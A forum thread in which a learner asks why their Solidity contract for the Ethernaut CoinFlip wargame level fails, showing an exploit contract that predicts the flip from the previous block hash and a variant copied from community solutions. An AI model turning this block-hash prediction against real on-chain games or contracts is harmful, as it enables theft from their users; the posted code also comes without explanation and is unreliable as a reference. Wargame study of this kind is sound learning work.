Ethernaut CoinFlip solution?

I’m referring to the fourth level of ethernaut, CoinFlip

Even though there is enough out there about possible solutions, I’m unable to figure out why my first attempt fails. Arguably this is a solidity issue, so please forgive me if I come across as a noob

pragma solidity ^0.6.0;

import 'https://github.com/OpenZeppelin/openzeppelin-contracts/blob/solc-0.6/contracts/math/SafeMath.sol';
import './originalCoinFlip.sol';

contract GuessFlip {
    
    using SafeMath for uint256;
    CoinFlip public coinFlipContract = CoinFlip(0x6B56250C66Ee4aC256532ffAF4a725C2833a6179);
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    
    function flip() public {
      uint256 blockValue = uint256(blockhash(block.number.sub(1)));
        
        uint256 coinFlip = blockValue.div(FACTOR);
        
        bool side = coinFlip == 1 ? true : false;
        
        if (side == true) {
            coinFlipContract.flip(side);
        } else {
            coinFlipContract.flip(!side);
        }
    }    
}

From further research, clearly the problem lies in :

bool side = coinFlip == 1 ? true : false;
        
        if (side == true) {
            coinFlipContract.flip(side);
        } else {
            coinFlipContract.flip(!side);
        }

a correct implementation being,

    function flip(bool _guess) public {
      uint256 blockValue = uint256(blockhash(block.number.sub(1)));
        
        uint256 coinFlip = blockValue.div(FACTOR);
    
        bool side = coinFlip == 1 ? true : false;
        
        if (side == true) {
            coinFlipContract.flip(_guess);
        } else {
            coinFlipContract.flip(!_guess);
        }
    }    

But I can’t seem to figure out why this works, and not what I had initially attempted…

Thank you for you help in advance :))

Hi, welcome! :wave:

Maybe you can have a look at the solution:
Ethernaut Community Solutions - General

1 Like

Hey @Skyge ,

thanks for your reply, I did go through that really helpful blog, and thats actually where I extracted the correct code from.

Maybe I was unclear, I’m mainly looking to find out why my code didn’t work…